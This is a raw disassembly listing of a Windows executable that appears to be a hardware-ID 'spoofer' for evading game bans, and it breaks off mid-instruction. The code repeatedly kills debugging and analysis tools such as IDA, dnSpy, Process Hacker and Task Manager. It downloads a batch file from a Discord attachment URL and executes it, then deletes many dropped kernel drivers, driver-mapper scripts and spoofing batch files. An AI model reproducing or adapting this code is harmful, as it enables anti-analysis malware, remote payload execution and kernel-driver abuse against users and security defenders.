xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xb030]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xb010]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xb010]
call fcn.14005d8d0
mov qword [rsp + 0x14a8], rax
lea rcx, [rsp + 0xb030]
call fcn.14005d8d0
mov qword [rsp + 0x14b0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x14a8]
mov rdx, qword [rsp + 0x14b0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392970]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov r9d, Ordinal_50
lea r8, str.ACTIVATED
lea rdx, str.Temp_Spoof
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoREMAKEALLINONESPOOFER.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoVPN.exe
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocolbact.dll
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoinstallDriver.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adokdu.exe
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodrives.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adochassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adomacchanger.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoc.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adod.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoFIXEDV2.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adocpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_ado_testing.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_biosspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemc.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemd.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemk1nse_checker.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemWindows_Activator.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemk1nse_MAC_Adress_Changer_protected.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_NXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemUNBANALL.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.cmd
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemmacchanger.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_baseboardspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchangeids.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemchassisspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemcpuspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemdrives.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_registry.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystem_systemspoof.bat
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.EXE
call fcn.1402b632c
lea rcx, str.C:WindowsSystemAMIFLDRV64.SYS
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSpoofyyerrrerst.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adodiskDRIVE.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoDriverMapperNULLSpoofyy.bat.bat
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoNULLSPOOF.sys
call fcn.1402b632c
lea rcx, [0x1403925a8]
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoSPOOFERMAC.exe
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
